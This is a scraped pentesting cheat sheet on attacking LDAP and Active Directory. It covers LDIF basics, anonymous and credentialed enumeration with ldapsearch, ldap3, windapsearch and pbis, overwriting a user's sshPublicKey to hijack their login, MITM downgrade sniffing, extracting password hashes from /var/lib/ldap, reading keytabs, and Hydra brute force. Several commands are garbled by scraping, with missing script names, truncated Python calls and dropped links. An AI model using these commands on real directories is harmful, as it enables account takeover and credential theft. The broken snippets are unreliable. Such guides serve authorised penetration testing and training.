389, 636, 3268, 3269 - Pentesting LDAP

Basic Information

LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
An LDAP directory can be distributed among many servers. Each server can have a replicated version of the total directory that is synchronized periodically. An LDAP server is called a Directory System Agent (DSA). An LDAP server that receives a request from a user takes responsibility for the request, passing it to other DSAs as necessary, but ensuring a single coordinated response for the user.
An LDAP directory is organized in a simple "tree" hierarchy consisting of the following levels:
  • The root directory (the starting place or the source of the tree), which branches out to
  • Countries, each of which branches out to
  • Organizations, which branch out to
  • Organizational units (divisions, departments, and so forth), which branches out to (includes an entry for)
  • Individuals (which includes people, files, and shared resources such as printers)
Default port: 389 and 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is available by default on ports 3268, and 3269 for LDAPS.
389/tcp open ldap syn-ack
636/tcp open tcpwrapped

LDAP Data Interchange Format

LDIF (LDAP Data Interchange Format) defines the directory content as a set of records. It can also represent update requests (Add, Modify, Delete, Rename).
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
phone: 23627387495
  • Lines 1-3 define the top level domain local
  • Lines 5-8 define the first level domain moneycorp (moneycorp.local)
  • Lines 10-16 define 2 organizational units: dev and sales
  • Lines 18-26 create an object of the domain and assign attributes with values

Write data

Note that if you can modify values you could be able to perform really interesting actions. For example, imagine that you can change the "sshPublicKey" information of your user or any user. It's highly probable that if this attribute exist, then ssh is reading the public keys from LDAP. If you can modify the public key of a user you will be able to login as that user even if password authentication is not enabled in ssh.
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
>>> connection.extend.standard.who_am_i()
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= [email protected]'])]})

Sniff clear text credentials

If LDAP is used without SSL you can sniff credentials in plain text in the network.
Also, you can perform a MITM attack in the network between the LDAP server and the client. Here you can make a Downgrade Attack so the client with use the credentials in clear text to login.
If SSL is used you can try to make MITM like the mentioned above but offering a false certificate, if the user accepts it, you are able to Downgrade the authentication method and see the credentials again.

Anonymous Access

Bypass TLS SNI check

According to this writeup just by accessing the LDAP server with an arbitrary domain name (like he was able to contact the LDAP service and extract information as an anonymous user:
ldapsearch -H ldaps:// -x -s base -b '' "(objectClass=*)" "*" +

LDAP anonymous binds

​LDAP anonymous binds allow unauthenticated attackers to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. This is a legacy configuration, and as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests. However, admins may have needed to set up a particular application to allow anonymous binds and given out more than the intended amount of access, thereby giving unauthenticated users access to all objects in AD.

Valid Credentials

If you have valid credentials to login into the LDAP server, you can dump all the information about the Domain Admin using:
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

​Brute Force​



Using this you will be able to see the public information (like the domain name):
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials


See LDAP enumeration with python
You can try to enumerate a LDAP with or without credentials using python: pip3 install ldap3
First try to connect without credentials:
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
If the response is True like in the previous example, you can obtain some interesting data of the LDAP (like the naming context or domain name) server from:
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
Once you have the naming context you can make some more exciting queries. This simply query should show you all the objects in the directory:
>>>'DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
>> connection.entries
Or dump the whole ldap:
>>'DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
>>> connection.entries


​Windapsearch **** is a Python script useful to enumerate users, groups, and computers from a Windows domain by utilizing LDAP queries.
# Get computers
python3 --dc-ip -u [email protected] -p password --computers
# Get groups
python3 --dc-ip -u [email protected] -p password --groups
# Get users
python3 --dc-ip -u [email protected] -p password --da
# Get Domain Admins
python3 --dc-ip -u [email protected] -p password --da
# Get Privileged Users
python3 --dc-ip -u [email protected] -p password --privileged-users


Check null credentials or if your credentials are valid:
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
If you find something saying that the "bind must be completed" means that the credentials are incorrect.
You can extract everything from a domain using:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
Extract users:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
Extract computers:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract my info:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract Domain Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract Domain Users:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract Enterprise Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract Administrators:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract Remote Desktop Group:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
To see if you have access to any password you can use grep after executing one of the queries:
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
Please, notice that the passwords that you can find here could not be the real ones...


You can download pbis from here: and it's usually installed in /opt/pbis. Pbis allow you to get basic information easily:
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./lsa get-status
#Get basic metrics
./lsa get-metrics
#Get users
./lsa enum-users
#Get groups
./lsa enum-groups
#Get all kind of objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"

Graphical Interface

Apache Directory


You can download a graphical interface with LDAP server here:​
By default is is installed in: /opt/jxplorer

Authentication via kerberos

Using ldapsearch you can authenticate against kerberos instead of via NTLM by using the parameter -Y GSSAPI


If you can access the files where the databases are contained (could be in /var/lib/ldap). You can extract the hashes using:
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
You can feed john with the password hash (from '{SSHA}' to 'structural' without adding 'structural').

Configuration Files

  • General
    • containers.ldif
    • ldap.cfg
    • ldap.conf
    • ldap.xml
    • ldap-config.xml
    • ldap-realm.xml
    • slapd.conf
  • IBM SecureWay V3 server
  • Microsoft Active Directory server
    • msadClassesAttrs.ldif
  • Netscape Directory Server 4
    • nsslapd.sas_at.conf
    • nsslapd.sas_oc.conf
  • OpenLDAP directory server
    • slapd.sas_at.conf
    • slapd.sas_oc.conf
  • Sun ONE Directory Server 5.1
    • 75sas.ldif

HackTricks Automatic Commands

Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Name: Notes
Description: Notes for LDAP
Note: |
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f